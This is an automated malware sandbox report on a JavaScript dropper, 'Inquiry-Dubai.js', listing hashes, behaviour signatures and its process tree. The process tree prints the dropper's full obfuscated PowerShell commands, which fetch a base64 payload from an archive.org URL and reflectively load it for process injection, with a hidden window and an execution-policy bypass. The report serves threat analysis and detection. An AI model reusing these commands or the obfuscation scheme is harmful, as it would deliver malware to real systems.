Overview

overview

10

Static

static

1

Inquiry-Dubai.js

windows7-x64

10

Inquiry-Dubai.js

windows10-2004-x64

10

Analysis

  • max time kernel
    14s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-09-2024 18:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Inquiry-Dubai.js

  • Size

    320KB

  • MD5

    b54f5c7cb5ac3d69127941e40966ab0c

  • SHA1

    c75973c8bee061c5e4994e2e9da6ebb830719e31

  • SHA256

    228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457

  • SHA512

    26b0b14d52ed23906448121c2078e032fda790df95cd27c49a888fba3b17f725d494fc89298a6a99e795faa594de1ea4739a113331129bc3395f22a387f53987

  • SSDEEP

    6144:6Xx8rS9pLPEFSkgJisDKPdGuoKeM4k6iPrjt5DiqVAo2JIF1wS8TeBVDm6T3ViZ5:wx2spLPEFSkUisDKVA5k6arjLDi2PmCC

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Inquiry-Dubai.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUAMwB6ACcAKwAnAHUAcgBsACAAPQAgAGgAaQB6AGgAdAB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwACcAKwAnADQANgAwADEALgB1AHMALgBhAHIAYwBoAGkAdgBlAC4AJwArACcAbwByAGcALwA2AC8AaQAnACsAJwB0AGUAbQBzAC8AZABlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtACcAKwAnAGoAJwArACcALwAnACsAJwBEACcAKwAnAGUAdABhAGgATgBvAHQAZQBKACcAKwAnAC4AdAB4AHQAJwArACcAaABpAHoAJwArACcAOwBFACcAKwAnADMAegAnACsAJwBiACcAKwAnAGEAcwBlACcAKwAnADYANABDACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnACAAPQAnACsAJwAgACgATgAnACsAJwBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAgAFMAeQAnACsAJwBzAHQAZQBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAJwArACcAaQBlACcAKwAnAG4AdAApAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAByAGkAbgBnACgAJwArACcARQAzAHoAJwArACcAdQByAGwAKQA7AEUAMwB6ACcAKwAnAGIAaQBuAGEAcgB5AEMAbwBuAHQAJwArACcAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuACcAKwAnAHYAZQAnACsAJwByAHQAXQA6ADoARgByAG8AbQAnACsAJwBCAGEAcwAnACsAJwBlADYANABTAHQAcgBpAG4AZwAnACsAJwAoAEUAMwB6AGIAYQBzAGUANgAnACsAJwA0AEMAbwBuAHQAZQBuAHQAKQA7AEUAMwAnACsAJwB6AGEAcwBzAGUAJwArACcAbQBiAGwAeQAgAD0AIAAnACsAJwBbAFIAZQAnACsAJwBmAGwAZQAnACsAJwBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAZAAoACcAKwAnAEUAMwB6AGIAaQBuAGEAcgB5AEMAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEUAMwB6AHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACcAKwAnACAARQAzAHoAJwArACcAYQBzACcAKwAnAHMAZQBtACcAKwAnAGIAbAB5ACcAKwAnAC4ARwAnACsAJwBlAHQAVAB5AHAAZQAnACsAJwAoAGgAJwArACcAaQB6AFIAdQBuAFAARQAuAEgAbwBtAGUAaABpAHoAJwArACcAKQAnACsAJwA7AEUAMwB6ACcAKwAnAG0AZQB0AGgAJwArACcAbwBkACcAKwAnACAAPQAgAEUAMwB6AHQAeQAnACsAJwBwAGUALgBHACcAKwAnAGUAdABNAGUAdAAnACsAJwBoACcAKwAnAG8AJwArACcAZAAoAGgAaQB6AFYAQQAnACsAJwBJACcAKwAnAGgAaQB6ACkAJwArACcAOwBFADMAegBtACcAKwAnAGUAdABoAG8AZAAuAEkAbgB2AG8AJwArACcAawBlACgARQAzAHoAbgB1AGwAbAAnACsAJwAsACcAKwAnACAAJwArACcAWwBvAGIAagBlACcAKwAnAGMAJwArACcAdABbACcAKwAnAF0AXQAnACsAJwBAACcAKwAnACgAaABpAHoAdAAnACsAJwB4AHQALgA5ADkAMQAvACcAKwAnAHYAJwArACcAZQAnACsAJwBkAC4AJwArACcAMgByACcAKwAnAC4ANAA3ACcAKwAnAGEAZgAzACcAKwAnADIAYQBlAGMAOABlACcAKwAnADYAJwArACcAMABhADcAOAAyADcAOQA0ADYAJwArACcAMAAzACcAKwAnAGMAMABiADEAMwA0AGMAOQAzAC0AJwArACcAYgB1AHAAJwArACcALwAvADoAcwBwAHQAdAAnACsAJwBoACcAKwAnAGgAJwArACcAaQAnACsAJwB6ACAALAAgAGgAaQAnACsAJwB6AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AaABpACcAKwAnAHoAIAAsACAAaABpAHoAJwArACcAZABlAHMAJwArACcAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAegAgACwAJwArACcAIABoAGkAegBkAGUAJwArACcAcwBhAHQAaQAnACsAJwB2AGEAZAAnACsAJwBvAGgAaQAnACsAJwB6ACcAKwAnACwAJwArACcAaABpAHoAJwArACcAQQBkACcAKwAnAGQASQBuAFAAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAJwArACcAMwAyAGgAJwArACcAaQB6ACwAaABpAHoAJwArACcAZABlAHMAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAJwArACcAegApACcAKwAnACkAJwArACcAOwAnACkALgBSAEUAUABsAEEAQwBFACgAKABbAGMASABhAFIAXQA2ADkAKwBbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADIAMgApACwAJwAkACcAKQAuAFIARQBQAGwAQQBDAEUAKAAoAFsAYwBIAGEAUgBdADEAMAA0ACsAWwBjAEgAYQBSAF0AMQAwADUAKwBbAGMASABhAFIAXQAxADIAMgApACwAWwBzAHQAcgBJAE4AZwBdAFsAYwBIAGEAUgBdADMAOQApACAAfAAmACAAKAAgACQARQBOAHYAOgBDAE8AbQBTAHAARQBDAFsANAAsADIANAAsADIANQBdAC0AagBPAEkATgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('E3z'+'url = hizhttps://'+'ia'+'90'+'4601.us.archive.'+'org/6/i'+'tems/det'+'ah-note-'+'j'+'/'+'D'+'etahNoteJ'+'.txt'+'hiz'+';E'+'3z'+'b'+'ase'+'64C'+'ontent'+' ='+' (N'+'ew-Ob'+'j'+'ec'+'t Sy'+'stem.N'+'et.We'+'bCl'+'ie'+'nt).Down'+'lo'+'adString('+'E3z'+'url);E3z'+'binaryCont'+'ent = [System.Con'+'ve'+'rt]::From'+'Bas'+'e64String'+'(E3zbase6'+'4Content);E3'+'zasse'+'mbly = '+'[Re'+'fle'+'ction.Asse'+'mbly]:'+':Load('+'E3zbinaryCo'+'n'+'te'+'nt);E3zty'+'pe '+'='+' E3z'+'as'+'sem'+'bly'+'.G'+'etType'+'(h'+'izRunPE.Homehiz'+')'+';E3z'+'meth'+'od'+' = E3zty'+'pe.G'+'etMet'+'h'+'o'+'d(hizVA'+'I'+'hiz)'+';E3zm'+'ethod.Invo'+'ke(E3znull'+','+' '+'[obje'+'c'+'t['+']]'+'@'+'(hizt'+'xt.991/'+'v'+'e'+'d.'+'2r'+'.47'+'af3'+'2aec8e'+'6'+'0a7827946'+'03'+'c0b134c93-'+'bup'+'//:sptt'+'h'+'h'+'i'+'z , hi'+'zdesati'+'vadohi'+'z , hiz'+'des'+'ativa'+'dohiz ,'+' hizde'+'sati'+'vad'+'ohi'+'z'+','+'hiz'+'Ad'+'dInPr'+'oces'+'s'+'32h'+'iz,hiz'+'desativa'+'dohi'+'z)'+')'+';').REPlACE(([cHaR]69+[cHaR]51+[cHaR]122),'$').REPlACE(([cHaR]104+[cHaR]105+[cHaR]122),[strINg][cHaR]39) |& ( $ENv:COmSpEC[4,24,25]-jOIN'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    133f3ba11a1a480968cb70367ff56aa2

    SHA1

    a0d713f4e6142ccca3b9525f745a24e9e2c839a7

    SHA256

    aa1695491375a58fdfeb552a73be78e4e2ea924bf1e07f2beb4f94188b4747b4

    SHA512

    184f03ed182b10e5efc1de3fd27a101ca93b6b3f1b4e6dcd4c5af441e95bc65e2f4b928d5d22de56cce9ddb74ddb3da842e9794fb32a4901026723857f8b96bf

    Download Submit

  • memory/2764-4-0x000007FEF4F1E000-0x000007FEF4F1F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2764-5-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2764-7-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-6-0x0000000002360000-0x0000000002368000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2764-8-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-9-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-10-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-11-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-17-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2764-18-0x000007FEF4F1E000-0x000007FEF4F1F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2764-19-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

    Filesize

    9.6MB

    Download